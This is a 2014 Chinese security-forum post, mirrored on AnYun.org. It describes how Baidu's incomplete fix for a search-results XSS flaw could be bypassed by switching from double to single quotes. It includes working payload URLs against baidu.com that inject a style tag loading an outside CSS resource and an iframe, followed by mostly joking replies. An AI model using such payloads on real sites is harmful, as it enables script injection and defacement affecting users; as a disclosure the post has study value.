安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > WooYun > WooYun-Zone > 百度这样修复首页xss (WOOYUN)

百度这样修复首页xss (WOOYUN)

时间:2017-09-07来源: 作者:点击:
网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地
random_ (精神的最高境界是自由) | 2014-12-12 21:33

之前发的这个http://zone.wooyun.org/content/17235,大家应该看到了,因为没含量就分享出来娱乐。
    问题出在“相关搜索”里,<div class="result-op xpath-log" tpl="right_recommends" data-click="{'fm':'alxr'所以测试代码是">或" onxxx="xxx这样的。晚上一看,百度修复了,把"\/三个用\转义。再细看把标签属性有双引号变单引号,如<div class="result-op xpath-log" tpl="right_recommends" data-click='{"fm":"alxr"于是测试单引号,尼玛又出来了!相关人员真的是没有整体思维,怎么能在百度搜索混呢。 //本文来自安云网

    效果代码:
http://www.baidu.com/s?wd=%27%3E%3Cstyle%[email protected]+url(http://tmxk.org/.css);+z-index:9999%27%3E

    一般测试:
http://www.baidu.com/s?wd=%27%3E%3Ciframe%20%3E //内容来自安云网

分享到:
  1. 1#
    回复此人 感谢
    Neeke | 2014-12-12 21:43

    我屮艸芔茻! //内容来自AnYun.ORG

  2. 2#
    回复此人 感谢
    乌云 ()ޝ                      () | 2014-12-12 21:51

    我屮艸芔茻! //ANYUN.ORG

  3. 3#
    回复此人 感谢
    月光光 | 2014-12-12 21:57

    我屮艸芔茻! //内容来自AnYun.ORG

  4. 4#
    回复此人 感谢
    孤月寒城 (握了棵草) | 2014-12-12 21:57

    我屮艸芔茻! //copyright AnYun.ORG

  5. 5#
    回复此人 感谢
    灬相随灬 (大胆天下去得,小心寸步难行。) | 2014-12-12 21:59

    我屮艸芔茻! //本文来自安云网

  6. 6#
    回复此人 感谢
    小胖子 (z7y首席代言人,园长的表哥...) | 2014-12-12 22:10

    我屮艸芔茻!

    //安云网,anyun.org

  7. 7#
    回复此人 感谢
    流年 | 2014-12-12 22:13

    我屮艸芔茻! //copyright AnYun.ORG

  8. 8#
    回复此人 感谢
    泳少 (此号被射!by U神) | 2014-12-12 22:17

    我屮艸芔茻! //内容来自AnYun.ORG

  9. 9#
    回复此人 感谢
    whking | 2014-12-12 22:21

    我屮艸芔茻! //内容来自安云网

  10. 10#
    回复此人 感谢
    漂流瓶 (http://shota.cc/‮) | 2014-12-12 22:22

    我只想知道谜底是啥 //内容来自安云网

  11. 11#
    回复此人 感谢
    临雨听风 | 2014-12-12 22:25

    快告诉我谜底啊~ //安云网,anyun.org

  12. 12#
    回复此人 感谢
    寒江不钓 | 2014-12-12 22:26

    世间竟有如此出尘艳艳之女子

    //安云网咨询系统

  13. 13#
    回复此人 感谢
    covertops (爱 上 乌云) | 2014-12-12 22:31

    醉了

    //内容来自安云网

  14. 14#
    回复此人 感谢
    Knight (查水表。缴wb不杀) | 2014-12-12 22:45

    good job! //本文来自安云网

  15. 15#
    回复此人 感谢
    YKS (‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌) | 2014-12-12 22:52

    66666666666666666

    //copyright AnYun.ORG

  16. 16#
    回复此人 感谢
    叮咚叮咚 | 2014-12-12 22:52

    碉堡了。。。佩服

    //ANYUN.ORG

  17. 17#
    回复此人 感谢
    D_in | 2014-12-13 00:23

    我屮艸芔茻!

    //安云网咨询系统

  18. 18#
    回复此人 感谢
    Martes (你让我说点啥好) | 2014-12-13 01:14

    百度这问题都有 呵呵

    //安云网咨询系统

  19. 19#
    回复此人 感谢
    z7y丶 | 2014-12-13 03:08

    我屮艸芔茻!

    //内容来自安云网

  20. 20#
    回复此人 感谢
    black hook (此处内容为隐藏内容,点击右边感谢即可查看此内容) | 2014-12-13 03:56

    谜底是小笼女?

    //本文来自安云网

  21. 21#
    回复此人 感谢
    HuGtion | 2014-12-13 08:33

    我屮艸芔茻!

    //安云网,anyun.org

  22. 22#
    回复此人 感谢
    暗羽 (喵喵喵喵喵喵喵喵) | 2014-12-13 09:00

    我屮艸芔茻! //安云网,anyun.org

  23. 23#
    回复此人 感谢
    小鸣子 | 2014-12-13 09:27

    陈什么那个小脓女。。

    //copyright AnYun.ORG

  24. 24#
    回复此人 感谢
    RainShine (I'm your angel of music.) | 2014-12-13 09:36

    我屮艸芔茻! //copyright AnYun.ORG

  25. 25#
    回复此人 感谢
    Mr.FooL (‮币云乌取获费免谢感侧右击点(() | 2014-12-13 10:07

    我屮艸芔茻!

    //内容来自AnYun.ORG

  26. 26#
    回复此人 感谢
    树上草 (专业装逼中华上下五千年) | 2014-12-13 10:35

    66666666666666666666666666666

    //安云网咨询系统

  27. 27#
    回复此人 感谢
    Cyrils | 2014-12-13 10:49

    我屮艸芔茻! //安云网咨询系统

  28. 28#
    回复此人 感谢
    国士无双 (我来找快乐。) | 2014-12-13 11:00

    我屮艸芔茻! //本文来自安云网

  29. 29#
    回复此人 感谢
    kow (我只是个酱油。。。) | 2014-12-13 11:36

    我屮艸芔茻! //内容来自AnYun.ORG

  30. 30#
    回复此人 感谢
    迦南 (我不是玩黑,我就是认真) | 2014-12-13 11:57

    我屮艸芔茻! //copyright AnYun.ORG

  31. 31#
    回复此人 感谢
    Max (随便看看) | 2014-12-13 12:00

    碉堡 //内容来自AnYun.ORG

  32. 32#
    回复此人 感谢
    LauRen (不登高山,不知天之高也;不临深溪,不知地之厚也。) | 2014-12-13 13:06

    我屮艸芔茻!

    //安云网咨询系统

  33. 33#
    回复此人 感谢
    丿心魇 | 2014-12-13 13:32

    还没修复 我屮艸芔茻! //内容来自安云网

  34. 34#
    回复此人 感谢
    默秒全 | 2014-12-13 14:25

    我屮艸芔茻! //copyright AnYun.ORG

  35. 35#
    回复此人 感谢
    命运 | 2014-12-13 18:10

    还没修复吊炸天 //copyright AnYun.ORG

  36. 36#
    回复此人 感谢
    random_ (精神的最高境界是自由) | 2014-12-13 19:48

    第一个链接因为已被百度快照,场景不能复现。 //ANYUN.ORG

  37. 37#
    回复此人 感谢
    浮生 | 2014-12-13 19:50

    我屮艸芔茻! //安云网咨询系统

  38. 38#
    回复此人 感谢
    ztaosony | 2014-12-13 20:29

    我屮艸芔茻!

    //内容来自AnYun.ORG

  39. 39#
    回复此人 感谢
    咖啡 (SELECT) | 2014-12-13 20:52

    //内容来自AnYun.ORG

  40. 40#
    回复此人 感谢
    timor | 2014-12-13 22:30

    小龙包..... //本文来自安云网

  41. 41#
    回复此人 感谢
    鸡鸡 (产品经理) | 2014-12-13 22:32

    春丽? //内容来自安云网

  42. 42#
    回复此人 感谢
    噬魂 (By 噬魂) | 2014-12-13 23:10

    我屮艸芔茻! //安云网咨询系统

  43. 43#
    回复此人 感谢
    不悔梦归处 | 2014-12-15 13:52

    我屮艸芔茻!

    //内容来自安云网

  44. 44#
    回复此人 感谢
    Mujj (为何我的眼中饱含泪水?因为我装逼装的深沉) | 2014-12-15 14:26

    世间竟有如此出尘艳艳之女子 //内容来自AnYun.ORG

  45. 45#
    回复此人 感谢
    rootnmxx | 2014-12-16 10:34

    我屮艸芔茻!

    //内容来自安云网

  46. 46#
    回复此人 感谢
    围剿 (七月流火,八月未央,九月白露凝成轻霜) | 2014-12-17 10:23

    天马行空 //ANYUN.ORG

  47. 47#
    回复此人 感谢
    小法海 | 2014-12-22 03:16

    [i][b]我屮艸芔茻![/b][/i] //安云网,anyun.org

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容